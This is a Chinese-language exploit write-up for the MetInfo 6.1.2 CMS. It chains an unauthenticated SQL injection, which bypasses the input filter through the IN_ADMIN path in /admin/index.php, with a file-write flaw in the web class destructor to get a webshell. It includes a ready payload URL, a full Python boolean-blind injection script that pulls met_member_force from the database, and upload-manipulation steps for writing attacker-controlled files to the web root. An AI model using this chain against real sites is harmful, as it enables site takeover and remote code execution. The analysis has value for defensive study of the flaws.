点击阅读
基于 Metinfo 6.1.2,源码可到 https://www.metinfo.cn/download/ 下载
位于 app/system/include/class/web.class.php 468 行开始的 web 类的析构函数中存在任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public function __destruct () { global $_M; $output = str_replace(array ('<!--<!---->' ,'<!---->' ,'<!--fck-->' ,'<!--fck' ,'fck-->' ,'' ,"\r" ,substr($admin_url,0 ,-1 )),'' ,ob_get_contents()); ob_end_clean(); $output = $this ->video_replace('/(<video.*?edui-upload-video.*?>).*?<\/video>/' , $output); $output = $this ->video_replace('/(<embed.*?edui-faked-video.*?>)/' , $output); if ($_M['config' ]['met_qiniu_cloud' ]) { $output = load::plugin('dofooter_replace' , 1 , array ('data' => $output)); } load::sys_class('view/ui_compile' ); $ui_compile = new ui_compile(); $output = $ui_compile->replace_attr($output); if ($_M['form' ]['html_filename' ] && $_M['form' ]['metinfonow' ] == $_M['config' ]['met_member_force' ]){ $filename = urldecode($_M['form' ]['html_filename' ]); if (stristr(PHP_OS,"WIN" )) { $filename = @iconv("utf-8" , "GBK" , $filename); } if (stristr($filename, '.php' )){ jsoncallback(array ('suc' =>0 )); } if (file_put_contents(PATH_WEB.$filename, $output)){ jsoncallback(array ('suc' =>1 )); }else { jsoncallback(array ('suc' =>0 )); } }else { echo $output; } DB::close(); exit ; }
代码中不难看出,若满足 $_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']
,则 ob_get_contents() 即输出缓冲区中的内容会被写入文件
而 met_member_force 在安装的时候就被写入了数据库,从 /install/index.php
能看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 . . . . function randStr ($i) { $str = "abcdefghijklmnopqrstuvwxyz" ; $finalStr = "" ; for ($j=0 ;$j<$i;$j++) { $finalStr .= substr($str,mt_rand(0 ,25 ),1 ); } return $finalStr; } . . . . $force =randStr(7 ); $query = " UPDATE $met_config set value='$force' where name='met_member_force'" ; mysqli_query($link , $query) or die ('写入数据库失败: ' . mysqli_error($link));
但是我们可以通过 sql 注入获取,在 app\system\message\web\message.class.php 中第43行,{$_M[form][id]}
被直接拼到 sql 语句中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function add ($info) { global $_M; if (!$_M[form][id]){ $message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'" ); $_M[form][id]=$message[id]; } $met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' andcolumnid = {$_M[form][id]}" ); $_M[config][met_fd_ok]= $met_fd_ok[value]; if (!$_M[config][met_fd_ok])okinfo('javascript:history.back();' ,"{$_M[word][Feedback5]}" ); if ($_M[config][met_memberlogin_code]){ if (!load::sys_class('pin' , 'new' )->check_pin($_M['form' ]['code' ])){ okinfo(-1 , $_M['word' ]['membercode' ]); } } . . . . }
由于 message 继承自系统一级基类 common,其构造函数首先就对表单进行了过滤
1 2 3 4 5 6 7 8 9 10 11 public function __construct () { global $_M; ob_start(); $this ->load_mysql(); $this ->load_form(); $this ->load_lang(); $this ->load_config_global(); $this ->load_url_site(); $this ->load_config_lang(); $this ->load_url(); }
这时如果我们直接在留言页面进行 sql 注入会被 common.func.php 中的 sqlinsert 函数所过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function sqlinsert ($string) { if (is_array($string)){ foreach ($string as $key => $val) { $string[$key] = sqlinsert($val); } }else { $string_old = $string; $string = str_ireplace("\\" ,"/" ,$string); $string = str_ireplace("\"" ,"/" ,$string); $string = str_ireplace("'" ,"/" ,$string); $string = str_ireplace("*" ,"/" ,$string); $string = str_ireplace("%5C" ,"/" ,$string); $string = str_ireplace("%22" ,"/" ,$string); $string = str_ireplace("%27" ,"/" ,$string); $string = str_ireplace("%2A" ,"/" ,$string); $string = str_ireplace("~" ,"/" ,$string); $string = str_ireplace("select" , "\sel\ect" , $string); $string = str_ireplace("insert" , "\ins\ert" , $string); $string = str_ireplace("update" , "\up\date" , $string); $string = str_ireplace("delete" , "\de\lete" , $string); $string = str_ireplace("union" , "\un\ion" , $string); $string = str_ireplace("into" , "\in\to" , $string); $string = str_ireplace("load_file" , "\load\_\file" , $string); $string = str_ireplace("outfile" , "\out\file" , $string); $string = str_ireplace("sleep" , "\sle\ep" , $string); $string = strip_tags($string); if ($string_old!=$string){ $string='' ; } $string = trim($string); } return $string; }
但是细看代码发现在过滤之前,字符串先经过了 daddslashes 函数,而 daddslashes 函数是否执行 sqlinsert 则由 IN_ADMIN 来决定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function daddslashes ($string, $force = 0 ) { !defined('MAGIC_QUOTES_GPC' ) && define('MAGIC_QUOTES_GPC' , get_magic_quotes_gpc()); if (!MAGIC_QUOTES_GPC || $force) { if (is_array($string)) { foreach ($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { if (!defined('IN_ADMIN' )){ $string = trim(addslashes(sqlinsert($string))); }else { $string = trim(addslashes($string)); } } } return $string; }
当 IN_ADMIN 常量为 true 时,我们的字符串只会进行简单的 addslashes 转义,存在 sql注入,随即全局搜索 IN_ADMIN 常量,在/admin/index.php发现如下代码
1 2 3 4 5 6 7 8 9 10 11 12 define('IN_ADMIN' , true ); $M_MODULE='admin' ; if (@$_GET['m' ])$M_MODULE=$_GET['m' ];if (@!$_GET['n' ])$_GET['n' ]="index" ;if (@!$_GET['c' ])$_GET['c' ]="index" ;if (@!$_GET['a' ])$_GET['a' ]="doindex" ;@define('M_NAME' , $_GET['n' ]); @define('M_MODULE' , $M_MODULE); @define('M_CLASS' , $_GET['c' ]); @define('M_ACTION' , $_GET['a' ]); require_once '../app/system/entrance.php' ;
我们不但可以得到值为 true 的 IN_ADMIN 常量,而且还可以在这里调用任意do开头的方法,无需登录,所以我们可以利用 domessage 类方法传入 action = add 来进行 sql注入
通过分析 /app/system/entrance.php 构造利用链,我们需要的是 /app/system/message/web/message.class.php,需传入 M_NAME = message,将 M_TYPE 常量值设为 system,M_MODULE 传入值为 web,此时 PATH_OWN_FILE 常量为 /app/system/message/web/,然后 entrance.php 执行 load::module();
加载 message 模块并传入参数,达到绕过 sqlinsert 执行 add 函数的目的
1 2 3 4 5 6 7 8 9 public static function module ($path = '' , $modulename = '' , $action = '' ) { if (!$path) { if (!$path) $path = PATH_OWN_FILE; if (!$modulename) $modulename = M_CLASS; if (!$action) $action = M_ACTION; if (!$action) $action = 'doindex' ; } return self ::_load_class($path, $modulename, $action); }
payload:http://127.0.0.1:23332//admin/index.php?n=message&m=web&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1¶139=1¶140=1&id=1%20or%20sleep(1)
这里代码判断反馈与验证码都在sql语句的后面,所以我们可以借助页面的不同回显进行 bool 盲注,区别是返回的 value 的有无,通过查询数据库,我们可以注入 columnid 为 44 或 42
脚本注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport stringurl = "http://{}/admin/index.php?n=message&m=web&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1¶139=1¶140=1&id=" def get_res_len (host,sql) : global url url = url.format(host) max_len = 101 s = requests.session() for i in range(1 ,max_len): check_sql = "44 and(length(({}))={})" .format(sql,str(i)) res = s.get(url+check_sql) if "window.history.back()" in res.text: return i print ("data too long" ) def get_sqli_data (host,sql) : global url data_len = get_res_len(host,sql) sqli = "44 and(ascii(substr(({}),{},1)))={}" data = "" s = requests.session() for i in range(data_len+1 ): for c in string.printable[0 :62 ]: res = s.get(url+sqli.format(sql,str(i),ord(c))) if "window.history.back()" in res.text: data += c print (data) if __name__ == "__main__" : host = "127.0.0.1:23332" sql = "select value from met_config where id = 45" get_sqli_data(host,sql)
通过查询数据库得知 met_member_force 的 id 是 45,注入得到 met_member_force 值
再回到任意文件写入上来,拿到了 met_member_force,下面寻找可控的页面输出,全局搜索 extends web 寻找 web 的子类,其子类并不多,而且找到的大多为查数据库得到的配置参数或是一些固定输出,利用难度较大,较可行的应该就是 uploadify 这个子类了,类方法中有多处 echo jsonencode
其中在 doupfile 函数中,$back
从表单中获取文件名,最后做 jsonencode 操作
1 2 3 4 5 6 7 8 9 10 11 12 public function doupfile () { global $_M; . . . . $back = $this ->upload($_M['form' ]['formname' ]); . . . . $back['filesize' ] = round(filesize($back['path' ])/1024 ,2 ); echo jsonencode($back); }
向上回溯,由自身的 upload 方法调用了 upfile 的 upload 方法
1 2 3 4 5 public function upload ($formname) { global $_M; $back = $this ->upfile->upload($formname); return $back; }
将$_FILES
上传文件属性传给$filear
数组保存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function upload ($form = '' ) { global $_M; if ($form){ foreach ($_FILES as $key => $val){ if ($form == $key){ $filear = $_FILES[$key]; } } } if (!$filear){ foreach ($_FILES as $key => $val){ $filear = $_FILES[$key]; break ; } }
下面对$filear
进行处理后缀名处理
1 2 3 4 5 6 7 8 9 $this ->getext($filear["name" ]); protected function getext ($filename) { if ($filename == "" ) { return ; } $ext = explode("." , $filename); return $this ->ext = $ext[count($ext)-1 ]; }
文件名如果无.
,则取上传文件名即为拓展名的值,下面检查拓展名的时候就可能会出错
1 2 3 4 5 6 if ($_M['config' ]['met_file_format' ]) { if ($_M['config' ]['met_file_format' ] != "" && !in_array(strtolower($this ->ext)explode('|' ,strtolower($_M['config' ]['met_file_format' ]))) && $filear){ return $this ->error($this ->ext." {$_M['word']['upfileTip3']}" ); } }
数据库中的拓展名白名单如下
上面代码能看出,如果后缀检查有错误,会调用error函数处理,而且传入参数为拓展名的值+错误信息
1 2 3 4 5 protected function error ($error) { $back['error' ] = 1 ; $back['errorcode' ] = $error; return $back; }
而且 拓展名的值+错误信息 被赋值给了 back,最终在 doupfile 函数中被输出,web 类析构函数将输出缓冲写入文件
文件内容如下
由于文件名与内容可控,注册账号上传图片,然后抓包修改为doupfile方法,根据最开始web.class.php中 file_put_contents 的条件,传入 metinfonow=pjovehc和html_filename文件名,就可以直接写入到web根目录
成功 GetShell
Reference:
https://nosec.org/home/detail/2324.html https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46687&highlight=metinfo https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%94%9F%E5%91%BD%E7%BA%BF/